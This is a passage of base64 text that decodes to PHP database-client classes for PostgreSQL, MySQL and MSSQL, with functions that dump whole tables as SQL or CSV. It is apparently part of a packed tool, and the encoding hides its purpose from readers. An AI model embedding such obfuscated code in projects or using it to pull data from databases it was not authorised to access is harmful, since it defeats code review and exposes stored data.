ogICAgICAgICAgICAgICAgaWYgKCgkdiA9IHBnX2V4ZWMoJHRoaXMtPl9jbmN0LCAnU0VMRUNUICogRlJPTSAnIC4gcGdzcWxFc2NOYW1lKCRzLCAkdCkgLiAnIExJTUlUIDEnKSkgJiYgKCR2ID0gcGdfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIE5VTEwsIFBHU1FMX0FTU09DKSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkaykKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHF1ZXJ5KCR2KSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR0aGlzLT5fcmVzID0gcGdfZXhlYygkdGhpcy0+X2NuY3QsICR2KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hBc3NvYygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBwZ19mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgTlVMTCwgUEdTUUxfQVNTT0MpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoUm93KCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHBnX2ZldGNoX3JvdygkdGhpcy0+X3Jlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHMsICR0LCAkYywgJGYpIHsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNldEJhc2UoJGIpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKEVfQ0hOR0RCLCAkYiwgJHMsICR0KTsKICAgICAgICAgICAgICAgICRpID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPSAkdGhpcy0+Z2V0Q29sdW1ucygkYiwgJHMsICR0KSkKICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0Q3JlYXRlKCR0LCAkdiwgJ0JJTkFSWScsICdwZ3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gc3ByaW50ZihFX0NOU1RDUywgJGIgLiAnLicgLiAkcyAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjID0gc3FsSm9pbkNvbHVtbnMoJGMsICdwZ3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgIGlmIChwZ19leGVjKCR0aGlzLT5fY25jdCwgJ0JFR0lOOyBERUNMQVJFIGMgQ1VSU09SIEZPUiBTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBwZ3NxbEVzY05hbWUoJHMsICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoKCR2ID0gcGdfZXhlYygkdGhpcy0+X2NuY3QsICdGRVRDSCBORVhUIEZST00gYycpKSAmJiAoJHYgPSBwZ19mZXRjaF9hcnJheSgkdiwgTlVMTCwgUEdTUUxfQVNTT0MpKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQocGdzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGltcGxvZGUoJzsnLCBhcnJheV9rZXlzKCR2KSksICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICRjID0gJHRoaXMtPl9jbmN0OwogICAgICAgICAgICAgICAgICAgICAgICAkZCA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRWYWx1ZXMoJHYsICdwZ3NxbEVzY0RhdGEnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3ZPdXRWYWx1ZXMoJHYpOwogICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgoJHYgPSBwZ19leGVjKCRjLCAnRkVUQ0ggTkVYVCBGUk9NIGMnKSkgJiYgKCR2ID0gcGdfZmV0Y2hfcm93KCR2KSkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBwZ19leGVjKCdDTE9TRSBjOyBST0xMQkFDSycpOwogICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJGk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2UoKSB7CiAgICAgICAgICAgICAgICBwZ19jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpOgogICAgICAgICAgICBjbGFzcyBNeVNRTFBET0NsaWVudCBleHRlbmRzIE15U1FMQmFzZSB7CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRoLCAkdSwgJHAsICRiLCAkYykgewogICAgICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGggIT09IE5VTEwgJiYgKCR2ID0gc3RycnBvcygkaCwgJzonKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHQgPSAoaW50KSBzdWJzdHIoJGgsICR2ICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gc3Vic3RyKCRoLCAwLCAkdik7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICR0ID0gTlVMTDsKICAgICAgICAgICAgICAgICAgICBpZiAoJGggIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICRhW10gPSAnaG9zdD0nIC4gJGg7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0ICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ3BvcnQ9JyAuICR0OwogICAgICAgICAgICAgICAgICAgIGlmICgkYiAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbXSA9ICdkYm5hbWU9JyAuICRiOwogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IFBETygnbXlzcWw6JyAuIGltcGxvZGUoJzsnLCAkYSksICR1LCAkcCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbm5FcnJvcigkZS0+Z2V0TWVzc2FnZSgpLCAkaCwgJHUsICRwLCAkYik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR2LT5xdWVyeSgnU0VUIE5BTUVTICcgLiAkdGhpcy0+Y2hhcnNldCgkYykpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9ICR2OwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VGFibGVTaXplKCRiLCAkdCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c3FsVGFibGVTaXplKG15c3FsRXNjTmFtZSgkYiwgJHQpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRhID0gcGFyZW50OjpnZXRDb2x1bW5zKCRiLCAkdCkpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPmdldENvbHVtbnNOYW1lcyhteXNxbEVzY05hbWUoJGIsICR0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8qRklYKi8KCQkJCWZ1bmN0aW9uIGZldGNoUm93KCkgewoJCQkJCSRyID0gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKTsKCQkJCQlpZihkZWZpbmVkKCdNUERGSVgnKSAmJiBpc19pbnQoTVBERklYKSkgJHRoaXMtPl9yZXMtPmNsb3NlQ3Vyc29yKCk7CgkJCQkJcmV0dXJuICRyOwoJCQkJfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCRiLCAkdCwgJGMsICRmKSB7CgkJCQkJZGVmaW5lKCdNUERGSVgnLCAxKTsKCQkJCQkKICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPm91dENyZWF0ZVRhYmxlKCRiLCAkdCk7CiAgICAgICAgICAgICAgICAgICAgJGMgPSBzcWxKb2luQ29sdW1ucygkYywgJ215c3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdC0+c2V0QXR0cmlidXRlKFBETzo6TVlTUUxfQVRUUl9VU0VfQlVGRkVSRURfUVVFUlksIEZBTFNFKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRxID0gJHRoaXMtPl9jbmN0LT5xdWVyeSgnU0VMRUNUICcgLiAkYyAuICcgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCkpKSAmJiAoJHYgPSAkcS0+ZmV0Y2goUERPOjpGRVRDSF9BU1NPQykpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dEluc2VydChteXNxbEVzY05hbWUoJHQpLCAkYyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaW1wbG9kZSgnOycsIGFycmF5X2tleXMoJHYpKSwgIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSAkZiA/ICcsJyA6ICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0VmFsdWVzKCR2LCAnbXlzcWxFc2NEYXRhJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3N2T3V0VmFsdWVzKCR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSAkcS0+ZmV0Y2goUERPOjpGRVRDSF9OVU0pKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiO1xuIjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkdCAuICcgJy4gcHJpbnRfcigkdGhpcy0+X2NuY3QtPmVycm9ySW5mbygpLCB0cnVlKSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsYXNzIE1TU1FMUERPQ2xpZW50IGV4dGVuZHMgTVNTUUxCYXNlIHsKICAgICAgICAgICAgICAgIHZhciAkY2FuUGFnaW5hdGUgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGQsICR1LCAkcCwgJGIsICRjKSB7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBuZXcgUERPKCRkLCAkdSwgJHApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb25uRXJyb3IoJGUtPmdldE1lc3NhZ2UoKSwgJGQsICR1LCAkcCwgJGIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NuY3QgPSAkdjsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkYjsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlU2l6ZSgkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zcWxUYWJsZVNpemUobXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHNldEJhc2UoJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHYgIT09ICR0aGlzLT5fYmFzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSBOVUxMOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5fY25jdC0+cXVlcnkoJ1VTRSAnIC4gbXNzcWxFc2NOYW1lKCR2KSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9ICR2OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICRzLCAkdCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkYSA9IHBhcmVudDo6Z2V0Q29sdW1ucygkYiwgJHMsICR0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+Z2V0Q29sdW1uc05hbWVzKG1zc3FsRXNjTmFtZSgkYiwgJHMsICR0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBzZWxlY3QoJGIsICRzLCAkdCwgJGMsICRvLCAkbCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoJ1NFTEVDVCBUT1AgJyAuICRsIC4gJyAnIC4gc3FsSm9pbkNvbHVtbnMoJGMsICdtc3NxbEVzY05hbWUnKSAuICcgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRzLCAkdCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHMsICR0LCAkYywgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZXRCYXNlKCRiKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgICAgICRpID0gJyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0Q3JlYXRlKCR0LCAkdiwgJ0JJTkFSWScsICdtc3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAnbXNzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCgkcSA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ1NFTEVDVCAnIC4gJGMgLiAnIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkcywgJHQpKSkgJiYgKCR2ID0gJHEtPmZldGNoKFBETzo6RkVUQ0hfQVNTT0MpKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXNzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGltcGxvZGUoJzsnLCBhcnJheV9rZXlzKCR2KSksICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRkOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkID0gJGYgPyAnLCcgOiAiXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dFZhbHVlcygkdiwgJ21zc3FsRXNjRGF0YScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzdk91dFZhbHVlcygkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCR2ID0gJHEtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjtcbiI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpIC49IHNwcmludGYoRV9TTENURFQsICRiIC4gJy4nIC4gJHMgLiAnLicgLiAkdCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hCYXNlKCkgewogICAgICAgICAgICAgICAgICAgIGlmICgoJHYgPSAkdGhpcy0+X3Jlcy0+ZmV0Y2goUERPOjpGRVRDSF9OVU0pKSB8fCAoJHRoaXMtPl9yZXMtPm5leHRSb3dzZXQoKSAmJiAoJHYgPSAkdGhpcy0+X3Jlcy0+ZmV0Y2goUERPOjpGRVRDSF9OVU0pKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdlswXTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hUYWJsZSgpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoKCR2ID0gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSkgfHwgKCR0aGlzLT5fcmVzLT5uZXh0Um93c2V0KCkgJiYgKCR2ID0gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSkpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gY291bnQoJHYpID09PSAxID8gJHZbMF0gOiAkdlsyXTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBuZXh0UmVzdWx0KCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlcy0+bmV4dFJvd3NldCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsYXNzIE1TU1FMREJMSUJDbGllbnQgZXh0ZW5kcyBNU1NRTFBET0NsaWVudCB7CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRoLCAkdSwgJHAsICRiLCAkYykgewogICAgICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGggIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICRhW10gPSAnaG9zdD0nIC4gJGg7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ2RibmFtZT0nIC4gJGI7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHBhcmVudDo6Y29ubmVjdCgnbXNzcWw6JyAuIGltcGxvZGUoJzsnLCAkYSksICRoLCAkdSwgJHAsICRiLCAkYyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2xhc3MgTVNTUUxPREJDQ2xpZW50IGV4dGVuZHMgTVNTUUxQRE9DbGllbnQgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRoICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ1NlcnZlcj0nIC4gJGg7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ0RhdGFiYXNlPScgLiAkYjsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFyZW50Ojpjb25uZWN0KCdvZGJjOicgLiBpbXBsb2RlKCc7JywgJGEpLCAkaCwgJHUsICRwLCAkYiwgJGMpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsYXNzIFNRTFNydlBET0NsaWVudCBleHRlbmRzIE1TU1FMUERPQ2xpZW50IHsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGgsICR1LCAkcCwgJGIsICRjKSB7CiAgICAgICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIGlmICgkaCAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbXSA9ICdTZXJ2ZXI9JyAuICRoOwogICAgICAgICAgICAgICAgICAgIGlmICgkYiAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbXSA9ICdEYXRhYmFzZT0nIC4gJGI7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHBhcmVudDo6Y29ubmVjdCgnc3Fsc3J2OicgLiBpbXBsb2RlKCc7JywgJGEpLCAkdSwgJHAsICRiLCAkYyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2xhc3MgUEdTUUxQRE9DbGllbnQgZXh0ZW5kcyBQR1NRTEJhc2UgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkYjsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NsY3MgPSAkYzsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsbFBhcmFtcygkaCwgJHUsICRwKTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtcyA9ICdwZ3NxbDonIC4gJHRoaXMtPl9wYXJhbXM7CiAgICAgICAgICAgICAgICAgICAgJHYgICAgICAgICAgICAgPSAkdGhpcy0+X3BhcmFtczsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICR2IC49ICcgYmFzZT0nIC4gJHRoaXMtPmVzY1BhcmFtKCRiKTsKICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAkdiA9IG5ldyBQRE8oJHYpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb25uRXJyb3IoJGUtPmdldE1lc3NhZ2UoKSwgJGgsICR1LCAkcCwgJGIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkdi0+cXVlcnkoIlNFVCBDTElFTlRfRU5DT0RJTkcgVE8gJyIgLiAkdGhpcy0+Y2hhcnNldCgkYykgLiAiJyIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9ICR2OwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gc2V0QmFzZSgkdikgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiAhPT0gJHRoaXMtPl9iYXNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzICA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdiA9IG5ldyBQRE8oJHRoaXMtPl9wYXJhbXMgLiAnIGJhc2U9JyAuICR0aGlzLT5lc2NQYXJhbSgkdikpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgJHYtPnF1ZXJ5KCJTRVQgQ0xJRU5UX0VOQ09ESU5HIFRPICciIC4gJHRoaXMtPmNoYXJzZXQoJHRoaXMtPl9jbGNzKSAuICInIik7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9ICR2OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlU2l6ZSgkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zcWxUYWJsZVNpemUocGdzcWxFc2NOYW1lKCRzLCAkdCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRhID0gcGFyZW50OjpnZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5nZXRDb2x1bW5zTmFtZXMocGdzcWxFc2NOYW1lKCRzLCAkdCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHMsICR0LCAkYywgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZXRCYXNlKCRiKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgICAgICRpID0gJyc7CiAgICAgICAgICAgIC